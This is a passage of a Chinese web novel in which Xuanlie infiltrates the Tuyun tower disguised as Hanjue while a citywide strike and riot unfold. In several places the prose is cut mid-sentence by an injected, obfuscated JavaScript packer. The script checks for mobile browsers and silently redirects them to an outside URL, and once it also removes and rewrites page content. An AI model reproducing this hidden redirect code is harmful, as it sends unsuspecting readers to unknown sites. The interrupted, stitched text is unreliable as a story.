但他失败了。发去的召唤指令在即将到达一队队长的接收端时莫名灭掉了,就像一发拨不通的电话。玄烈一而再再而三地点着召唤按钮,亮起的小灯总会被可怜地掐灭。 按理说他的确拥有机械体的指挥权,连舜希也没道理能把信号切断,看来另有人做手脚。 玄烈没展现出来他的慌乱,而是转到棱镜那边吩咐了句“等我指挥”。 难道真的是机械体们全都虎视眈眈向芯片所以预备要造反?看来程炼的行动确实是有效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“爆炸的位置不对,太高了,我一直在机器旁边,爆炸产生的波对那边机器感应波的影响微乎其微……对了玄烈老师,我查到过去一段时间总在配合涂云调控机器的是谁了。” “是谁?” “是……阿盼,”绯篱道,“我查了监控查了通行记录,的确是他。” 阿盼在为韶赋修做事,这个打击不亚于玄烈在第一个向繁森死后发现第二个向繁森。如果说刚才爆炸的打击令玄烈固化,那么他现在可以被打击到气化成一团怨气吞天的雾团了。 为什么?究竟是早就被策反还是被胁迫?是从一开始就作为卧底埋在玄烈身边还是进入颠转后产生的改变?为什么玄烈一点也不知道? 记得很久以前林老师曾提到阿盼已经被控制了,难道从那个时候……可惜事到如今他再也无法向阿盼讨要说法了。 沉默片刻,绯篱接着道:“目前可以断定的是,那台机器不在涂云大楼偏东北方向,也不在上十层。” 他们的第一次试探竟就这么荒唐地浪费了,但也只能算浪费了一半,毕竟也不是毫无作用。那么知晓这件事并给翼弹发消息的到底是谁呢? 此时凛烛打来电话,“不是说今天不炸吗?” “……” 玄烈静默了半天觉得电话里一句半句说不清楚,“你在哪,我们去找你。” 天彻底黑了,他们沿走廊一路向东准备前往食堂找凛烛。走廊的窗子都开着,每一格都指向茫茫夜色下那缺了个角的涂云大厦。 一阵凉风刮过,窗户震得嗡嗡响,纪凛烛上前将窗户关住,玄烈不经意地瞥了眼与这窗子正对的楼梯口。 下半层黑漆漆的台阶上,水墨色纱巾的一角若隐若现,那双亮汪汪的眼睛和玄烈对视着,玄烈看不清那人的长相。 随后,那人后退一步,亮出手里的一颗圆片,亮晶晶的……是与翼弹配套的追踪锚!玄烈刚要迈出步子,却又在昏暗的光里看清那人的脸之后顿住了脚步。相视无言的两秒后,那人向楼下移去,连脚步声都没有,就这么消失了。 “你看到了吗?”玄烈呆呆地望着那楼梯口问。 “谁?”纪凛烛跟着看向那空荡荡的黑处。 “好像是……舜真。” 182. 弱点(5) 他话一出纪凛烛就朝那楼梯口奔去,果不其然,她扑了空。 “确认看到的是她吗?”站在黑白光影夹杂处,纪凛烛紧张地问。 “难道是幻觉?但我确实看到她死了……”玄烈喃喃自语道,“阿烛,你还记得我说的,她……” “我记得,”纪凛烛若有所思地走上来,“你说她明明在楼侧的建筑工地,转眼就被人放到了游泳池里。也就是说,有人知道她死了,很可能也知道是你杀了她,所以有意要引起你的注意。” 玄烈有些懊恼,“我当时太大意了,没注意是不是有人在附近。” “没事,”纪凛烛拍拍玄烈肩膀用以安抚,“下次你再看到,第一时间告诉我。” 他看着纪凛烛那张散发着刚毅果敢之美的可靠脸庞,突然心生一阵暖意,那是一种久违的、身边站着可以信赖的人的感觉,他开心地止不住上扬的嘴角,“万一是我看错了呢。你就那么相信我。” “当然得相信啊,就算你傻了看不见了分辨不了事情了也得相信,不然我一个人和那帮人打,很累的。” 说着,纪凛烛抡起胳膊给了玄烈手臂一下。但她不动还好,一动起来肩膀的伤口又要被扯痛了。见她表情扭曲起来,玄烈赶忙从口袋里扯出一小卷绷带来想给她伤口缠上。 可灼烧的黑迹和深红色的痂不规则地分布着,大片鲜红的血肉仍然暴露在空气中,还有些细碎的布料纤维掉进了伤口,玄烈扯出绷带却左右移来移去不知该怎么包扎,“不行,先去医务室处理吧。” “你还随身带绷带呢……”纪凛烛痛得汗流浃背地说。 “以前阿盼让我带在身上的,后来我伤口也能很快自我痊愈了,这节绷带就用不到了……”提起痊愈,玄烈忽地觉察到重点,“阿烛,你的伤口为什么还没愈合?” “我应该以后都不会有这种超能力了……”纪凛烛无奈地说。 从医务室出来后,纪凛烛整条手臂都是麻的,玄烈拎着两大兜医生非要开的、纪凛烛半年都吃不完的各种有用没用的药,默默听她讲。 “……你也在实验室里看到了,之前第一战备身上那种带有迅速痊愈效果的病毒是小真姐注射的。” “是,要不是她注射的那种病毒,第一战备可能就死了,身体也不可能被保留下来。”玄烈回道。 “没错。并且为避免出岔子,第二战备的能力在我的小时候是被隐藏的。同理,她在得知我就是第二战备后特别害怕我长大途中意外受伤或是生病死掉,所以就在我被送出永璃岛前也将那病毒埋在了我身上,等到我稍长大一点身体可以负荷那种病毒时再激发,直到第二战备项目再次被重启。 “除了有快速愈合这个超能力之外,病毒的存在对我没用任何益处。他们评估了几次,认为我已经具备了很大程度的自保能力,就开始病毒治疗。要不是治疗周期长,我应该还能更早一点和你相认。” 说到这,他们来到了食堂。玄烈又问了些细节,表示自己也想把病毒都杀死,否则时不时眼前会出现好一阵诡异的跳跃飞鼠和犀牛,怪折磨人的。 根据发来的位置,他们走上了二楼,室内的明亮与外面的昏黑形成鲜明对比,玄烈穿过人潮看见了在座位上乖乖坐着的凛烛,但他下意识还是把他认成了伏策。 深夜,涂云爆炸的事情依旧没有官方做出通报,玄烈翻来覆去难以入眠。他左思右想那些机械体无法被召唤的原因,思绪缠成了一团乱麻。 虽说他缺少舜希手里的机械体的控制权,但指挥权也不该是一张白纸啊,至少把他们唤出来露个面还是有权力的吧? 忽地,一个想法快刀斩乱麻将他缠杂的思绪切成了一堆碎屑。既然命令是在中途被拦截的,那就不是机械体们抗旨不尊,一定是有人刻意干扰了他的指挥。舜希没空全程监视着他的所有行动,也不可能神通广大到看见玄烈抬起腕表的瞬间就知道他要召唤机械体,这个人或许比舜希更难对付。 破除颠转不能再拖下去了,现在他们的位置还算有利,可就像玄烈说的,谁知道七天之后情形是不是又有了更大的变化。 正想着,消息提示音在寂静深夜里寂静房间里回响。玄烈点开信息满脑子想的都是:已经这个点了和纪凛烛怎么也没睡? “我想到了一个能给咱们提供帮助的人。”纪凛烛说。 “我也想到了,”玄烈回复,“三二一一起说。” “三、二、一……” “骨环!”“骨环。” 骨环向来来无影去无踪,但所幸舜希在大楼中为他留了一间办公室。玄烈和纪凛烛敲敲门走了进去,发现这里修得简直和那折叠迷宫里的启示屋一模一样。 一张看上去十分高大上的数码屏桌子上,一个方块形状的投影仪正对着墙壁,它通着电,开关却闭着,头顶的红色小灯闪啊闪。 奇怪,进门之前他们分明听到了骨环的一声“请进”。 玄烈摁开了那投影仪的按钮,骨环的投影便立即呈现在墙边。他只有上半身,是由荧蓝色的线条勾勒出的人形,一张嘴便是冷漠无情的机械音。 “欢迎来到启示屋。启示屋的主人骨环大人目前尚不在服务区,请……” “他不在服务区那你是谁?”纪凛烛伸手撩了一把虚拟骨环的身体,手掌从骨环的身体里穿过,连一阵风都没捞着。 “啊,是您,”骨环扬起假笑,“骨环大人正在赶来的路上,请您二位稍作等待。” “别玩了,有事找你,”玄烈双手撑在桌边,眼神像是穿过这虚拟的一条条线将骨环的大脑看穿了,“你不是本来就是虚拟的骂?变成什么形态还不是你说了算。” 听罢,骨环咳咳两声,长叹道“无聊啊无聊”,才侧起身像从一把椅子站起来一样走出了投影仪的辐射区。只见他身形缓缓充实,整个人从二维平面逐渐立体,荧蓝色褪去,鲜活的各样颜色将他撑起,这才有了人形。 “我说,一进门就直取要害从来只会单箭头走直线的生活不枯燥吗?真是没意思!”骨环的声音也恢复了原样,他稍带埋怨地看了眼玄烈,又看向纪凛烛,“你也忍得了他?” “有什么忍不了的,玄烈很好啊,”纪凛烛又伸手撩了下骨环的身体,这次她的手依旧没捞到什么,“你也太小气了,不是说玩吗?你实体呢?” 说起这件事就像是戳到了骨环的软肋,他腾地抱紧了自己,“我不跟你玩了。之前好心好意要帮你,你居然把我用锁链绑在笼子里!” “还不是你自己作,我要你去帮玄烈,你偏要威胁我说要把真相全都说出去,我没办法,只好把你封印住了。”纪凛烛一副痛心疾首的样子。 玄烈立刻反应过来他们说的是剧院那次相见,“你说你是为了躲舜希才跑到那去,原来是骗我的。” 骨环心虚地理了理领带,一脸不服气地坐到椅子上,“说吧,找我什么事?” “你知道为什么。”玄烈敲敲腕表。 骨环也没打算瞒着,他撇了撇嘴,又露出一抹意味不明的笑,“好吧,是舜希让我这么做的。她畏惧你取得机械体的指挥权后会造反,让我阻断了你的指令。” 实在是意料之中。玄烈走到骨环正对面,扯出桌旁的两把椅子,一把给纪凛烛,一把他自己坐下,和骨环面对面。 “你就没有想过离开舜氏吗?”玄烈问道,“撤下颠转内所有人的思维锁,之后他们就不再会受舜希的控制,那样对你建设你心目中的神之国不是更有帮助吗?” “神之国”三个字被玄烈咬得很重,或多或少有点嘲讽的味道。骨环自然听出来了,但他却不愿意往坏的地方想,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见她如此潇洒地一分钟解决,骨环觉得不可思议,“就这样?” “就这样。”纪凛烛点头道。 “哇——”这下骨环彻底对她刮目相看了。 “没什么难的,除非他们不需要我这个第二战备,把我赶出去,”纪凛烛以同样带着嘲弄的语气面向骨环,“我无所谓,我有托底,所以有说干就干的勇气。你也是,你为什么不敢呢?” 纪凛烛的眼神像是在下战书,这种挑战似的游戏直戳着骨环那热血澎湃的心窝,他看了眼墙上挂着的钟表,“午夜十二点,敬请期待。” “成交!”纪凛烛和骨环痛快地击掌。 “相信涂云那边是不会亏待你的,那么接下来,是不是该给我们这当军师的一份谢礼?”纪凛烛挑眉道。 “哎!先前没说还要谢礼啊,这不是强买强卖吗!”骨环不乐意了。 “又不是很难弄到手的东西,颠转里还有你拿不到的消息吗?”纪凛烛摊手道,“我们只要一份涂云大楼内部结构图而已。” “不是‘而已’吧?这份礼也太重了,远超出了我的付出的回报,不行。”骨环抱起手臂表示要回避谈这件事。 “那就换个小礼,”玄烈插进话来,“只要琀珏一个人的行踪和定位,不难吧。” “这个没问题。”骨环利落地答应了。 “要他的定位做什么?”纪凛烛不懂玄烈的意思。 “我有办法,”玄烈说着,眼神移向骨环,“到时候可能还得拜托你帮忙把他引出来。” “这……”骨环犹豫了。 “登神的事情我们也可以帮忙,”纪凛烛说,“到时涉及到宣传、教化什么的,总不能再给他们上新的思维锁吧?人类的心态和思维我们总比你了解。” “成交!”骨环道。 183. 大罢工(1) 回去的路上,玄烈说起假向繁森曾在那绿皮火车上提到的某种易容肤液。 “你要假扮他,混进涂云?”纪凛烛惊了。 “我在数据库里查到的确有这么一种东西,专利人也确实属的是向繁森的名字,只是后来这个项目没收到重视,没有发展没有测试,也就没有向大众推广的机会。但仓库里还有一些样品。”玄烈问,“你觉得可行吗?” “也是个办法。” 说着,他们赶到了和凛烛会合的那间会议室。 “可是我记得他说那种肤液是不可逆的。”纪凛烛道。 “什么什么?”凛烛好奇地凑了上来。 玄烈把他的计划给凛烛讲了一遍。“我觉得可以,你在里面垫一层假脸皮,回来后一揭就行了。”凛烛道。 “话说为什么易容术这种大众化又很实用的技能没有被开发呢?”纪凛烛发出疑问,“是怕机械体在习得这种技能后肆意运用导致世界大战吗?” “很有可能。”玄烈试想了一下,万一一觉醒来全世界的人都长着和他一样的脸,并且都表示自己叫玄烈,该怎么办?他被自己逗笑了。 纪凛烛也轻而易举明白了他的笑点,“从此永璃岛有一万只第一战备和一万只第二战备,舜氏真正实现一二战备量产了!” “啊!那我到那时候不会还是伏策的脸吧!”凛烛叫道,“不过也没事,到时候大家都说自己是伏策,而只有我一个人说我是凛烛,你们还是很轻易能认出来我的。” 嘻嘻哈哈了半天,最终大家一同规划好了方案。玄烈从仓库取来落了灰的一筐易容肤液样品,表示这种常年无人认领的老物件留着也是占地方,仓库管理员压根都没让他登记,就全让他拿走了。 他们也没用凛烛说的所谓的假脸皮。纪凛烛说她之前跟程炼一起修蓝幕盾时也了解到一种金属溶液,能够极大程度隔离各种物质,甚至能够阻挡一些带有中度腐蚀性的液体,美中不足是常温会凝固。 有这么一层金属箍在脸上确实难受,玄烈被迫回忆起很久以前他还不怎么做表情的时候,这样比较好适应。肤液涂在金属壳外层,另外两人对比着琀珏的照片便开始给玄烈捏脸。 凛烛实在对这种细致手工活不在行,之前舜真让他学绣花,结果他一不小心扯烂了三张布,从此便被告诫远离这些可怜的脆弱小物件。 相比之下纪凛烛就显得心灵手巧很多,只是她手劲太大了,稍不注意就将刚捏好的鼻子蹭歪,又得花半天力气恢复原样。 酣畅淋漓的四个半小时后,一筐样品下去了大半,他们前后共捏了六张脸。最后,第六张脸被放到电脑前时,人脸比对系统成功给出了超八十五分的好成绩。 将那已经凝固成铁板的面具摘下,玄烈感觉自己变成了彻头彻尾的面瘫,笑不会笑、哭不会哭,亏得纪凛烛妙手回春给他脸进行了好一套恢复按摩——实际上就是疯狂捏他的脸,捏到恢复痛觉——这才将玄烈挽救出面瘫的苦海。 对着屏幕里反射出的通红还有点小肿的脸,玄烈傻兮兮地咧起嘴角,他终于又会笑了。 次日,虽说白昼越来越短,可这天的黑夜好像漫长得过头了,第一段工作时间过去了大半也不见天幕放亮,又回到了永夜的感觉。 但和永夜也不完全一样。城市里璀璨的各种霓虹灯火好像也在浓郁黑夜的浸润下失了色,高楼大厦全都死气沉沉地死寂着,没有点亮一盏灯,也不像活着一个人。一夜之间,颠转仿佛变成了座鬼城。 除了岛屿两端各自立着的舜氏涂云大厦,它们还是以前的样子,低调奢华生人勿近中散发着星星点点高傲的冰冷光辉。它们的模样告诉大家,城市中的异样并不是停电的结果。 最快是有人凌晨一点发现市区里不对劲的,他们发现那些永恒亮着的大厦灯火怎么一点点灭下去了。只是这件事没收到有关部门的重视,他们觉得顶多是那些地方在换灯。毕竟灯一刻不息地亮了那么久,也总有坏的时候嘛。 他们便给了那些大楼六个小时的时间,等到该放亮的天哑了火,那些灯还是没亮起来,这才上报到舜希那里。 据说舜希知道此事后炸了,但也只是据说,因为纪凛烛觉得她那面具是没法做出“炸了”之类的复杂高级表情的。 骨环真的没有食言,午夜十二点,他正式解除了压制颠转人们的思维锁,那些箍在人们身上和心灵的数码锁链,一经拆卸,恐怕就再也安不上了。 大罢工也是那时展开的。 当人们发现自己日夜生活在一起的、那些所谓“失去又归来”的面孔实际上是一张张丑陋又瘆人的机械脸,那种得到再失去的痛感和被欺骗被人当成狗一样戏耍的愤怒感交织成极大的恨意,让他们抱着必死的信念全都揭竿而起,誓要向舜氏讨要说法。 市中心开始爆发暴动了,人们举起在一起打砸烧抢,把他们曾共同努力建设起的一片祥和湮灭成灰烬。舜希第一时间下达指令让黑寂军前往镇压,可她遭遇了和昨日玄烈相同的事——她的指令流传到中途就被人切断了。不过不是骨环干的,而是舜氏里一些也被解开思维锁的工作人员实在气不过,直接拒绝了指令。 但清算的事放到后面再说,舜希再次命令灼琛带领黑寂军出兵。当灼琛询问是否可以使用暴力时,舜希来了句:“随便。” 与此同时,涂云那边也有变动。涂云里本就没多少人上了思维锁,可他们抵不住外面的人将涂云视为和舜氏沆瀣一气的狼。拿着各种武器的人们成群结队涌到涂云门口,一把火点燃了门前一颗发财树。 此时骨环便可以派上用场了。 他昨晚把琀珏近段时间的活动状态归整出一盘监控录像给了玄烈他们。琀珏确实正在接受治疗,目前尚处在恢复阶段,日常是半天一台大手术,一个小时一台小手术。看来韶赋修真的很看重他。 早早捏好了脸,玄烈三人趁乱溜出了舜氏,汇入汹涌的人潮。现在在混乱不堪的大马路上走来走去都无需顾忌什么,头顶的监控机械飞鸟很难在如此磅礴交杂的人影里发现他们的存在,他们完全可以比在舜氏内潇洒。 很快,他们赶到涂云大楼不远处。楼下,人群将涂云大厦的门堵死了,几只涂云士兵拦着他们,外面的人进不去,里面的人出不来。 骨环黑进了琀珏的控制端,神不知鬼不觉下达了一条指令。搞得手术刚刚完成,琀珏手臂上的仿生皮缝合还未结束,他便腾地站了起来,带着一半的线头和一根针大踏步向门外走,边走边说:“太过分了!我要去镇压他们!杀个片甲不留!” “喂!这根本不像琀珏能说出来的话啊!”纪凛烛对着腕表偷偷对骨环说道。 “涂云的人忙得很,没空在意这些小细节啦!”骨环回道。 眼见琀珏晃晃悠悠从某扇根本看不出是侧门的小门里钻出来,手拿着一根像是从拖布上拆下来的木棍,溜到人群身后,扬起手就要偷袭。三人立刻赶了上去,纪凛烛一个手刀将琀珏砍昏,玄烈立马将黑袋子套到琀珏头上,凛烛则将琀珏扛起来,一整套动作行云流水,三人闪现一般消失在涂云门口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501917|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这也是他们急迫地要骨环现在就行动的原因,可能再拖一阵琀珏会恢复到以前的水准,那时他们要再想偷袭可就难了。 把琀珏安放在旁边大楼楼侧的夹缝处,玄烈腕表发出催人命的猛烈声响。是舜希的指令,要玄烈赶快出动机械体协助黑寂军进行镇压。 玄烈没管,摁了静音键后将腕表摘下递给凛烛。 “不理她没事吗?”凛烛问。 “她让骨环断了我的指令就该想到有这么一天。”玄烈道。 他解下琀珏的外衣套在自己身上,竟然出乎意料的合适。头发提前染得乌黑亮丽,连凛烛看了都好一阵晃神,“你别说,真的像我。” 为迎合琀珏的装扮,玄烈还刻意将头发剪短了一些,再吹成顺毛,配合上捏的假脸蛋,看上去还真像回事。就是实在没工夫复刻琀珏手臂上的缝合痕迹,玄烈将袖子放展,赌没人会发现这点。 纪凛烛从口袋里谨慎地取出一枚无比精致的银藤雕纹黑钻耳夹,卡在玄烈左耳耳侧,“有消息随时联系,小心为上。” 玄烈点点头,将一颗手雷大小的音波弹藏在袖子里,双手插兜穿过人群,从侧门进入了涂云大厦。 印象里他是第一次来这,却安心得好像已经把这当成了自己的家。不为别的,就为这里面的装饰风格和舜氏大厦没有区别。 昏暗的通道,幽蓝的光顺着墙边地下头顶铺设的线路通向不可视的远方,四通八达的曲折回廊,和墙融为一体的厚重的暗钢色金属门。 就连人也很像,他们全都冷漠地抱着各自工作所需的物埋头在路上行进,有时要共同进出同一扇门却从不抬眼打招呼,好像大家都自卑又冷血,生怕一抬头就会被人抢走八百万。 何况涂云的人类员工比舜氏少五倍不止,这样的环境对玄烈很友好,他无需刻意避开人们走,反正谁都看不到他也认不出他。 他手握着一个乒乓球大小的透明定位指南针,低调地穿过一个又一个闸机,就为尽力靠近涂云大楼的最西南端。袖子里的音波弹虽没翼弹那么大爆炸威力,但其释放的信号波能够提供更广泛的探测范围,也更便于他脱身。 指南针上显示他已经到达涂云大楼的西南角了,红点回闪,玄烈抬头发觉这里竟是个情报交换点。没错,头顶的牌子上明晃晃的就是“情报交换点”五个大字。 古铜色廊架将这块三十平米的区域圈起来,内部没有桌椅之类的多余陈设,三米高一米长五厘米宽的实心白桦木告示板紧密地排列着,这些架子边角都被深紫色金属包裹,两米高的地方有牌子标志每篇区域的情报等级。 这里并非全开放的,除了面向玄烈的口,另外三面包括天顶都是被同样的紫色金属板包裹起来,像个魔方,显得内部神秘异常。 出入口是一个空荡荡的吧台,上面摆着“管理员不在,请自助出入”的字样。玄烈走到入口处,入口的遮挡竟是用半人高的玻璃围成的,上方有个人脸扫描仪,旁边标注了“单次扣费12000元”。 也不知这琀珏账户里到底有没有钱……正想着,几个年轻人的谈话声在“魔方”内部的某个告示牌后方响起,玄烈立刻躲到“魔方”的侧面,听着脚步声靠近又离开。 那些年轻人讨论的正是暴乱的事,好像涂云为了镇压人群还给机械体们下达了悬赏令,杀一个人五百块的那种。 听到一半,又有声音从那个方向走近了,也是年轻人的谈话声,横着穿过走廊又离开。 玄烈忽地反应过来,原来西南角是机械体活动区! 184. 大罢工(2) 涂云的机械体比他们的人类员工要多上许多,这来来回回的人不知还要走多少,这下麻烦了。何况他还想进情报交换点看看有没有意外发现。 静待了两分钟确认“魔方”内没人了,玄烈一不做二不休站到机器前。门登时开了,但玄烈没急着进。相比起里面那些新鲜滚烫烫的情报,他先被屏幕上琀珏的余额数字震得无话可说了。 在他想数清楚里面究竟有几个零的时候,入口因为他长久不入而关上了,机器上的数字也随之消失。为了一定要数清楚、一定要争口气,玄烈来来回回扫了八遍脸才知道了琀珏账户里有多少钱。 真不愧是韶赋修亲儿子……至少玄烈以前是那么认为的,不过他这个想法刚蹦出来又僵住了,他觉得哪里好像不对。 不过在这八遍扫脸中间,玄烈成功给他扣款扣的少了一位数。那一串数字深深印在脑子里后,玄烈才舒服地走进了“魔方”。 小小的空间内用五种颜色标记了情报的不同等级,越高级的情报在这里只会露一点点信息,详细的还得专门联系下方情报署名进行二次交易。 这里面的内容和玄烈想得不太一样,这些机械体没空琢磨他们的老板,最机密的那些情报大多是跟他和纪凛烛有关的,有些还是错的。 这不能怪他们,谁让韶赋修很少让涂云那些家伙站到台前来和玄烈碰一碰,搞得传到那些机械体耳朵里的声音都把玄烈他们妖魔化了,例如什么会三百六十变,还会扮成韶赋修或者仪琅的样子溜进公司里就为了教训那些机械体训练不认真。 下面居然有个回复说是真的,那孩子表示自己有一天训练走神了,仪琅非但没揍他反而奖励了他一张储能拓展芯片,他当时就觉得这个仪琅肯定是玄烈假扮的,玄烈肯定是要让他们一个个都不认真训练等到变成废物再被一网打尽。 另一个人则回复他肯定是做梦了。 隔了半个月,那个孩子再次回复表示可能真的是做梦了,因为他把屋子翻了底朝天就是找不到那张芯片。 看得双眼一黑再一黑,玄烈后悔自己在这耗什么时间,赶紧把琀珏的余额刷光出去干正事算了。 不过真实信息还是有一些的,比如他和纪凛烛以及绯篱伏策等人的照片被人做成跟通缉令一样的东西贴在墙边,内容比较详尽,连他对茉莉花茶过敏都知道。不过后面跟的是一些嘲笑他过敏的言论。 后面一些普通情报就更无聊了,全都是部门之间的矛盾、上司生活大起底,还有机械体之间相互不对付写的那些半真半假的传言。 玄烈大失所望地走出“魔方”,刚要再往西南边走时,身后响起了声音。 “哎,琀珏,你不在楼上治伤瞎跑什么?”是仪琅的声音,他边说边朝玄烈靠近了两步,“你不是从来不来这吗?” 琀珏怎么说话玄烈知道,可就当话已经到嘴边了,一个致命问题立即卡在他喉咙卡得浑身冷汗。他们都忘了,玄烈学了琀珏的脸琀珏的装扮琀珏的动作,就是忘了加装一个能模仿他声音的插件。 “说话啊,怎么,被那家伙敲成哑巴了?” 说着,仪琅就要伸手去拍玄烈的肩膀。感应到他的靠近,玄烈猛地回头给了仪琅一个警告的眼神。 “你……”仪琅被吓了一跳,后表情阴沉起来,“瞪我?你再瞪一下试试看呢!” 仪琅拔出他那只剩下一根的电针径直扎向玄烈的眼睛,玄烈没躲,一掌风过去就把毫无防备的仪琅拍得后背狠狠撞在“魔方”的墙上。 “嘭”的一声响,仪琅大骂一声,可脏字还没出口,他觉察出了不对劲。 “你不是琀珏?”仪琅怔怔地望着对面人,不详感油然而生。他很快发现了破绽,“你是……玄、玄烈?” 这认出来得也太快了点吧?玄烈反思自己除了没装声音别的都还伪装得不错,何况他也还没说话呢。难道仪琅这家伙已经丧心病狂到把他玄烈的模样深刻在心里,对视片刻就能将他认出来? 此时不跑更待何时!玄烈一个字没蹦转身就跑,留仪琅在原地凌乱了几秒,才想起来召唤机械体们追捕入侵者。 他身影穿梭在错综复杂的楼道间,奔跑带起来的风在耳边呜呜直响,他根本不知道自己在往哪里跑,也根本不知道下一个路口他选择的是不是思路。 早知道就硬向骨环讨要涂云大楼内部结构图了,果然将就最致命,退而求其次只会一退再退。 指南针显示他勉强还在西南角打转,但那些年轻机械体们倾巢出动的声音已经震彻上下三层楼不止了,他能往哪逃呢? 刚把仪琅甩开蹲在走廊拐角,就有另一波机械体从前方追来了,谁也不知道他们为什么全都那么兴奋,大概是仪琅为表事情的严重以及调动大家的积极性直接告诉大家闯入的是第一战备吧。 没办法,玄烈只得拐到楼梯间直直往上跑。二楼稍显寂静,他正犹豫要不要再到二楼和那些追兵绕绕圈,一只手就扯住他的领子将他拽向走廊。 这人的力气出奇的大,玄烈本想与之相抗,可仍难以控制地被扯向前去。他双手燃焰用常人难以忍受的温度将那人的手烫开,那人换了只手再扯他。 那人全副武装,和他一样也穿一身黑。追兵的脚步已来到下半层,玄烈被那人大力摁在墙边,他挣扎着拽出库星锥要和那人拼死一搏,慌乱中却碰到那人冰凉的手,再抬眸,对上了那人的眼睛。 没等他说什么,那人竟抛下他主动引着追兵向楼上跑去。 原来是在给他争取空间。 对着那人远去的背影,玄烈独自喃喃道:“舜真……” 不能再磨蹭下去了,趁此机会,玄烈顺着指南针的指示一路绕道二层西南角的中心位置,幸而这里道路复杂,一些阴差阳错碰到他的机械体也能被他轻而易举再绕开。 片刻,周围安静下来,玄烈在一盆银色金属雕成的幸运竹后安置好了那颗音波弹。 楼上,追兵们将逃跑的黑影堵在死角,那人摘下面罩,露出的却是女人的脸,并且不是情报交换点那一排“通缉令”上的面孔,机械体们全都不知所措了。 仪琅双手插兜想着自己终于有一天能施展一波老大的做派,那股骄傲劲快把屋顶掀飞了。只见他高昂着脑袋,一副不可一世的表情,下巴横着出来,恨不得把对面人钉死,总之就是不肯正眼看人。 “真的是你啊,想不到我这么就把你……” 拨开机械体们的脑袋,彻底看清眼前人后,仪琅直接被噎得把后半句倒着吞进了嗓子里。 “舜、舜……”一个字在口中,另一个字在天上,他磕巴了半天叫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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纪凛烛说得没错,涂云大厅的确人满为患,他们也赶得巧,恰逢涂云士兵用枪将众人镇住,正把活人往门外请、死人往门外抬。 顺着人群肩摩踵接地向外涌,玄烈在人头攒动中看见了与他相隔不远处的舜真的身影。他本要笑着往那边走,身边的纪凛烛却被挤得撞了下他的肩膀。 “对不起啊!” “没事……” 再回头,那身影又消失了,只剩下一大堆或吓破了胆或破口大骂的陌生的面孔。 “看什么呢?”纪凛烛问。 “不是幻觉……”玄烈嘟囔着,“我真的看到她了。” 大楼夹缝里,玄烈终于得已褪去伪装,硬梆梆的金属再次使他脸部麻痹,这次他倒是没急着挤弄脸颊做表情,而是长久地往那依然不太平的涂云驻地遥望。 秉持着多拖一分就多一分不确定因素的原则,他们当即引爆了那颗音波弹。瞬间,涂云大厦内爆出了一声还算剧烈的闷响,肉眼可见窗边缓慢堆起烟雾,楼下的涂云士兵在一愣后全都往上跑。 绯篱立刻打来了电话,“这次更近了,爆炸波对机器信号波的影响比前先扩大了一倍,但还是没办法对机器造成有效影响。不过现在可以确定那台机器的确在西南方,而且很可能被放置在更深的地方,比如地下十层。” 挂了电话,玄烈轻轻叹息一声,显然这一波行动仍旧没达到他的意愿。 “怎么了?”给琀珏换回外套,凛烛问。 “再要潜入涂云,恐怕很难了。”玄烈道。 185. 大罢工(3) 部分基础设施被人们破坏得瘫痪了,交通被阻断,一些电路也被损毁。楼宇间满是成群结队扯着红布条要反抗的人,他们扛着一些被暴力致死的人。 玄烈和他们擦身而过,那垂下来的尸体沾满血污的手跟着人群步伐一晃一晃,拥挤之处他亲眼看着那条手臂被挤掉了,硬生生挤掉了,但人们顾及不得,当没看见似的边接着高喊口号,边向前行进。 掌控天幕的人恐怕也跟着罢工去了,到现在上方还是一片迷雾似的黑暗。 只是那曾经看似完美无暇的天幕现今多了些许坑洞,和屏幕破碎一样,晶莹的巨型碎片边角锋利,露出内部电路元件,碎屑和碎成无数小块的零部件挂在天上摇摇欲坠,坑洞的周围泛着暗红色一闪一闪的光。 这突如其来的灾难让舜希头疼,她已经联系不到骨环了,也猜想十有八九骨环逃到涂云那里了。这才是她吃的最大的哑巴亏。 玄烈刚回到舜氏就组织机械体前去帮灼琛。虽说他方才如此潇洒地无视了舜希的指示,但毕竟他还是得回舜氏来的。人在屋檐下,哪能不低头。何况他有意吩咐了他们表示非必要基本不动暴力,换而言之就是出去摸鱼吧,随便摸! 把孩子们全放出去,玄烈独自穿行在办公区里。这倒是没经过什么大破坏,就是人都不知道去哪了,到处是空荡荡的,和地上的……好几大滩血和遍布整片区域的血脚印! 这些血还是新鲜的,空气里只弥散着血腥味而没有别的腐败味道。这场面猛地一看实属吓人,玄烈小心翼翼地走了几步才适应脚下滑溜溜的殷红色液体。 再往里拐,地上又显出许多拖拽痕迹,这里的血就不只是地上了。墙面上、桌面上、那些堆积如山的资料上,到处是各种血迹,就连天花板上的灯柱也被溅起的血蒙了一层,导致投出来的光也一片惨白一片猩红的。 行走在这样的地方实在精神污染,满目的红色似乎有意将他身体里埋藏的邪恶病毒向外牵引,他开始有点头晕。 